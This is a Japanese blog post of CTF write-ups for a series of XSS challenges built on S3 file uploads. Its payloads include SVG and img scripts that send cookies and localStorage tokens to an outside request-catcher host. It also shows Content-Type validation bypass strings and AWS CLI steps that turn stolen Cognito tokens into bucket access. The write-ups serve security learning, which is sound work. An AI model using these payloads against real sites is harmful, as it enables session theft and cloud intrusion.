はまやんはまやんはまやん

hamayanhamayan's blog

XSSS/XS3 Challenges Writeups

https://twitter.com/flatt_security/status/1773183621844627564

Server Side Upload

ファイルアップロードでき、URLを管理者に送れる機能が付いているサイトが与えられる。
フラグの場所を確認するとクローラーがあり、

const page = await browser.newPage();
// DOMAIN is Challenge Page Domain
page.setCookie({
name: "flag",
value: process.env.FLAG || "flag{dummy}",
domain: process.env.DOMAIN || "example.com",
});
await page.goto(url);

のような感じ。Cookieにフラグが載ってきて、与えられたurlを踏んでいる。
httponlyも無いので、XSSを試そう。
ファイルアップロードのコードは以下のようになっている。

server.post('/api/upload', async (request, reply) => {
  const data = await request.file({
    limits: {
      fileSize: 1024 * 1024 * 100,
      files: 1,
    },
  });
  if (!data) {
    return reply.code(400).send({ error: 'No file uploaded' });
  }

  const filename = uuidv4();
  const s3 = new S3Client({});
  const command = new PutObjectCommand({
    Bucket: process.env.BUCKET_NAME,
    Key: `upload/${filename}`,
    Body: data.file,
    ContentLength: data.file.bytesRead,
    ContentType: data.mimetype,
  });

  await s3.send(command);
  reply.send(`/upload/${filename}`);
  return reply;
});

S3に置いている。
とりあえず、<script> alert(1); </script>というファイルを用意してアクセスするとアラートが出たので、

<img src=x onerror=fetch(`https://[redacted].requestcatcher.com/get?${document.cookie}`);>

を送り付けて、発行されたURLを踏ませるとフラグが得られる。

POST Policy

次はクライアント側で制限がかかっているのと、
Conditionで['starts-with', '$Content-Type', 'image'],というのが付いていた。
ポリシーでimageから始まることしか検証されてないので、svgxssのテクが使える。

https://medium.com/@l_s_/stored-xss-via-svg-file-upload-66b992a5a503

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 500">
    <script>//<![CDATA[
        fetch(`https://[redacted].requestcatcher.com/get?${document.cookie}`);
    //]]>
    </script>
</svg>

以上をxss.pngとして保存して、BurpでInterceptしながら適宜「image/svg+xml」に変更して送ると同様に踏むとフラグが送れるURLが作れる。

Pre Signed Upload

同様に画像アップロードしてみると、

POST /api/upload HTTP/2
Host: [redacted].cloudfront.net
Content-Length: 44
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: https://[redacted].cloudfront.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://[redacted].cloudfront.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Priority: u=1, i

{"contentType":"image/jpeg","length":111434}

こういうのが走って、応答として

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
Date: Sun, 31 Mar 2024 04:44:03 GMT
X-Amzn-Requestid: 64ecd233-4413-409b-9396-1f12a21fb5b9
X-Amzn-Remapped-Content-Length: 1563
X-Amzn-Remapped-Connection: keep-alive
X-Amzn-Trace-Id: root=1-6608ea13-69b867d2714f3544000d6ab7;parent=786b11917fd8b608;sampled=0;lineage=c3238ecb:0
X-Amzn-Remapped-Date: Sun, 31 Mar 2024 04:44:03 GMT
X-Cache: Miss from cloudfront
Via: 1.1 b87ac3fe7ef3cc185a4a3d8cc60e3f9e.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: SFO53-P4
X-Amz-Cf-Id: Ycn2X4hU3_OPzko12dPNxVfYxYqdgkxQ35N6SyHma-i1cA-OliGagw==

{"url":"https://[redacted].s3.ap-northeast-1.amazonaws.com/upload/827628d1-1a42-43b9-ae38-a264ef599906?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Credential=ASIAUPVKPCT4H5JKHLCU%2F20240331%2Fap-northeast-1%2Fs3%2Faws4_request&X-Amz-Date=20240331T044403Z&X-Amz-Expires=86400&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEP3%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDmFwLW5vcnRoZWFzdC0xIkYwRAIgDnVtkwPXuhahCjr7cWfptAJTmnR0KQiZy2BtoMfuzz0CIAJD8RqhrqsJOGmFLoH7Uac%2FN5rCY6zTIQor2JSat7IcKq4DCCYQARoMMzA4NTIxNDA3NzM2IgwEH69pgIQFCfNDWeoqiwO8v9Qk%2BOBjgUF9thaCBsSJ6N%2BpGUPgzHHP9hkF0BwZsEkS%2FAQ7r0QLLWadyqcyF015%2Btf3jSu36TiUY%2BaE%2F8en%2F26bvR5k72XFBS2pH9YzI17DPdbDfOL7E9Dv1mbqhRPirOGqEZZ4%2FZjw%2BA5DyVI5JnUhaiFOK3hZI7H94l%2FfNuXjNcbcoE1pOd7oErY3tbtjEV7IDgaOlgTW1vMtDKACvH4x3mDfuxyGG4c0C2kD9EHxWvoD3G2BzijuvB7QWlaLubBoaY8YprwX8W7fsljjbqCcI%2FW64Ckd4BNdtBy4p7hp6wFMOCEBHWMQClzJP4WopVSMYb3XOBRTWXkow%2Bxzwc0DuxPA9xe0SaZdi6kvXFTf5Gn8nX4oMQ3vbIz%2BznBqoB4d0CnvYHVRbH7KTXByBx6Jxo53ujN2YqcaOrNi%2FhKVrom1AtY%2BsGtFKZaFfBttn63N0KA00XYVIt0nu4HHG5uYd6s8vvlsOBGpbVmMs6YFPR9il%2FovDG1asrwIONkWjSsPVG2RvWnMmDD90qOwBjqfAdLDl03uSkO4h9JRi2om1vLCoafh4HCH%2Bhw7ndTQC21q8d%2F%2FD2CYKW0Yzx6EFAOMuFyciUqOfM102Y9QOgKXZP2MDyIqtaWDTg7sfBQpuoMLq2%2BAlqtFNKcoBmfuiRwysv50epu2LP3F%2BauTqgONt7oZlVb12Q0UAW0DIxQfClUXxZzVRSzFwmBlXQ3SU3nqplKC6HFMG3%2FQeM4JVYLJDA%3D%3D&X-Amz-Signature=b5b5347b4e96a09d8c058b3b57ccdee05aec1a288e9c1854eda153630f6a247a&X-Amz-SignedHeaders=content-length%3Bhost&x-id=PutObject","filename":"827628d1-1a42-43b9-ae38-a264ef599906"}

こういうのが来るから、その後、PUTで

PUT /upload/827628d1-1a42-43b9-ae38-a264ef599906?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Credential=ASIAUPVKPCT4H5JKHLCU%2F20240331%2Fap-northeast-1%2Fs3%2Faws4_request&X-Amz-Date=20240331T044403Z&X-Amz-Expires=86400&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEP3%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDmFwLW5vcnRoZWFzdC0xIkYwRAIgDnVtkwPXuhahCjr7cWfptAJTmnR0KQiZy2BtoMfuzz0CIAJD8RqhrqsJOGmFLoH7Uac%2FN5rCY6zTIQor2JSat7IcKq4DCCYQARoMMzA4NTIxNDA3NzM2IgwEH69pgIQFCfNDWeoqiwO8v9Qk%2BOBjgUF9thaCBsSJ6N%2BpGUPgzHHP9hkF0BwZsEkS%2FAQ7r0QLLWadyqcyF015%2Btf3jSu36TiUY%2BaE%2F8en%2F26bvR5k72XFBS2pH9YzI17DPdbDfOL7E9Dv1mbqhRPirOGqEZZ4%2FZjw%2BA5DyVI5JnUhaiFOK3hZI7H94l%2FfNuXjNcbcoE1pOd7oErY3tbtjEV7IDgaOlgTW1vMtDKACvH4x3mDfuxyGG4c0C2kD9EHxWvoD3G2BzijuvB7QWlaLubBoaY8YprwX8W7fsljjbqCcI%2FW64Ckd4BNdtBy4p7hp6wFMOCEBHWMQClzJP4WopVSMYb3XOBRTWXkow%2Bxzwc0DuxPA9xe0SaZdi6kvXFTf5Gn8nX4oMQ3vbIz%2BznBqoB4d0CnvYHVRbH7KTXByBx6Jxo53ujN2YqcaOrNi%2FhKVrom1AtY%2BsGtFKZaFfBttn63N0KA00XYVIt0nu4HHG5uYd6s8vvlsOBGpbVmMs6YFPR9il%2FovDG1asrwIONkWjSsPVG2RvWnMmDD90qOwBjqfAdLDl03uSkO4h9JRi2om1vLCoafh4HCH%2Bhw7ndTQC21q8d%2F%2FD2CYKW0Yzx6EFAOMuFyciUqOfM102Y9QOgKXZP2MDyIqtaWDTg7sfBQpuoMLq2%2BAlqtFNKcoBmfuiRwysv50epu2LP3F%2BauTqgONt7oZlVb12Q0UAW0DIxQfClUXxZzVRSzFwmBlXQ3SU3nqplKC6HFMG3%2FQeM4JVYLJDA%3D%3D&X-Amz-Signature=b5b5347b4e96a09d8c058b3b57ccdee05aec1a288e9c1854eda153630f6a247a&X-Amz-SignedHeaders=content-length%3Bhost&x-id=PutObject HTTP/1.1
Host: [redacted].s3.ap-northeast-1.amazonaws.com
Content-Length: 111434
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Content-Type: image/jpeg
Accept: */*
Origin: https://[redacted].cloudfront.net
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://[redacted].cloudfront.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Priority: u=1, i
Connection: close

...

こういうので配置して、GET /upload/827628d1-1a42-43b9-ae38-a264ef599906で読めるようになる。
最初のPOSTリクエストでのみcontent-typeが検証されているので、そこだけimage/jpegを渡して最後のPUT部分を任意のものに変えれば、
取得時のContent-Typeをコントロールできるので後は同様に「image/svg+xml」するなりしてXSSする。

Is the end safe?

  const contentTypeValidator = (contentType: string) => {
    if (contentType.endsWith('image/png')) return true;
    if (contentType.endsWith('image/jpeg')) return true;
    if (contentType.endsWith('image/jpg')) return true;
    return false;
  };

このようにendsWithでバリデーションしている。後ろで;区切りでkey-value入れ込む記法があるので、そこで適当に突っ込んでやれば検証回避できる。

{"contentType":"text/html; hoge=image/png","length":96}

Just included?

  if (request.body.contentType.includes(';')) {
    return reply.code(400).send({ error: 'No file type (only type/subtype)' });
  }

  const allow = new RegExp('image/(jpg|jpeg|png|gif)$');
  if (!allow.test(request.body.contentType)) {
    return reply.code(400).send({ error: 'Invalid file type' });
  }

;が防がれてしまった。
ガチャガチャやっていたら、よくわからんけどtext/html =image/pngでいけた。

forward priority...

  const allowContentTypes = ['image/png', 'image/jpeg', 'image/jpg'];

  const isAllowContentType = allowContentTypes.filter((contentType) => request.body.contentType.startsWith(contentType) && request.body.contentType.endsWith(contentType));
  if (isAllowContentType.length === 0) {
    return reply.code(400).send({ error: 'Invalid file type' });
  }

先頭末尾の検証がある。
image/png, text/htmlのようにコンマ区切りにするとブラウザでは後者が優先されるっぽいので、先頭回避はこれでできる。
末尾回避はIs the end safe?と同様にできるので、image/png, text/html; hoge=image/pngXSSできる。

Content extension

  const allowExtention = ['png', 'jpeg', 'jpg', 'gif'];

  const isAllowExtention = allowExtention.filter((ext) => request.body.extention.includes(ext)).length > 0;
  if (!isAllowExtention) {
    return reply.code(400).send({ error: 'Invalid file extention' });
  }

  const contentType = `image/${request.body.extention}`;

のような感じでcontentTypeが作られる。
詳細な解法メモが無くて、最終的な解法だけが残っていたので解説は省略。

{"extention":["png", "text/html"],"length":96}

を送り、image/png,text/htmlでアップロードする。

sniff?

  if (!request.body.contentType.startsWith('image') || !['jpeg', 'jpg', 'png', 'gif'].includes(request.body.contentType.split('/')[1])) {
    return reply.code(400).send({ error: 'Invalid image type' });
  }

request.body.contentType.startsWith('image')ここだけ検証が甘い。
imageほにゃらら/pngで頑張るんだろうが…

mimetypeはワイルドカード使えるらしい?
image* /pngとしてみるとpng画像が出てきた。よく分からないが、MIME Sniffingが発動している?
後は、MIME Sniffingsvgされるようなちゃんとしたsvgファイル作ってやると、XSS発動する。

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.0//EN" "http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 500">
    <script>//<![CDATA[
        fetch('https://[redacted].requestcatcher.com/get', { method : 'post', body: document.cookie })
    //]]>
    </script>
</svg>

GEToken

この問題はBOTが特殊で、localStorageの情報を抜くように頑張る。
svgファイルからXSSができる。Content-Disposition: attachmentが邪魔だが、途中のPUTで消せば署名されてないので無効化できる。
よって、途中のPUTでContent-Disposition: attachmentを消し、以下をアップロードする。

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 500">
    <script>//<![CDATA[
        fetch('https://[redacted].requestcatcher.com/get', { method : 'post', body: JSON.stringify(localStorage) })
    //]]>
    </script>
</svg>

とすると

{"CognitoIdentityServiceProvider.733341.refreshToken":"[redacted]",
"CognitoIdentityServiceProvider.733341.accessToken":"[redacted]",
"CognitoIdentityServiceProvider.733341.idToken":"[redacted]"}

idTokenのJWTを展開するとフラグがあった。

I am ...

前問の続きの問題。認証情報が手に入ったので、いろいろ頑張る。
あんまりよく分かってないが、ユーザー発行してもらって、あとはいつものように色々やる。

$ aws cognito-identity get-id \
--region ap-northeast-1 \
--identity-pool-id ap-northeast-1:05611045-eb46-41e2-9f6c-f41d87547e4d \
--logins cognito-idp.ap-northeast-1.amazonaws.com/ap-northeast-1_7RCw4isM9=[redacted]
{
    "IdentityId": "ap-northeast-1:4f187980-dcb4-c060-4a49-b1d4128a0d3d"
}

$ aws cognito-identity get-credentials-for-identity \
--region ap-northeast-1 \
--identity-id ap-northeast-1:4f187980-dcb4-c060-4a49-b1d4128a0d3d \
--logins cognito-idp.ap-northeast-1.amazonaws.com/ap-northeast-1_7RCw4isM9=[redacted]
{
    "IdentityId": "ap-northeast-1:4f187980-dcb4-c060-4a49-b1d4128a0d3d",
    "Credentials": {
        "AccessKeyId": "[redacted]",
        "SecretKey": "[redacted]",
        "SessionToken": "[redacted]",
        "Expiration": "2024-04-02T03:02:14+09:00"
    }
}

$export AWS_REGION=ap-northeast-1
$export AWS_ACCESS_KEY_ID=[redacted]
$export AWS_SECRET_ACCESS_KEY=[redacted]
$export AWS_SESSION_TOKEN=[redacted]

$ aws s3 ls
2024-03-24 19:01:16 cdk-hnb659fds-assets-339713032412-ap-northeast-1
2024-03-24 22:36:30 deliverybucket-5250c0a74f-adv-3-delivery
2024-03-25 14:05:29 specialflagbucket-5250c0a74f-adv3-special-flag
2024-03-24 22:36:30 uploadbucket-5250c0a74f-adv-3-upload

$ aws s3 ls specialflagbucket-5250c0a74f-adv3-special-flag
2024-03-25 14:06:42         38 flag.txt

$ aws s3 cp s3://specialflagbucket-5250c0a74f-adv3-special-flag/flag.txt -
flag{[redacted]}

frame

/viewer/というエンドポイントが追加され、html埋め込みのjavascriptから以下のようにアップロード物が読まれて表示される。

      window.onload = async () => {
        const url = new URL(window.location.href);
        const path = url.pathname.slice(1).split('/');
        path.shift();
        const key = path.join('/');
        console.log(`Loading file: /${key}`);

        const response = await fetch(`/${key}`);
        if (!response.ok) {
          console.error(`Failed to load file: /${key}`);
          document.body.innerHTML = '<h1>Failed to load file</h1>';
          return;
        }
        const contentType = response.headers.get('content-type');
        if (isDenyMimeSubType(contentType)) {
          console.error(`Failed to load file: /${key}`);
          document.body.innerHTML = '<h1>Failed to load file due to invalid content type</h1>';
          return;
        }
        const blobUrl = URL.createObjectURL(await response.blob());
        document.body.innerHTML = `<iframe src="${blobUrl}" style="width: 100%; height: 100%"></iframe>`;
      };

Blob URLが発行されて、iframeで表示みたいなやり方をしている。
普通にはcookie抜けなかったがparent.document.cookieとやればいい。
なぜ普通に抜けないのかはよく分かっていない。

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 500">
    <script>//<![CDATA[
        fetch('https://safdewrt34t34qtr.requestcatcher.com/get', { method: 'post', body: parent.document.cookie });
    //]]>
    </script>
</svg>

を入れて`/viewer/upload/uuidでいけた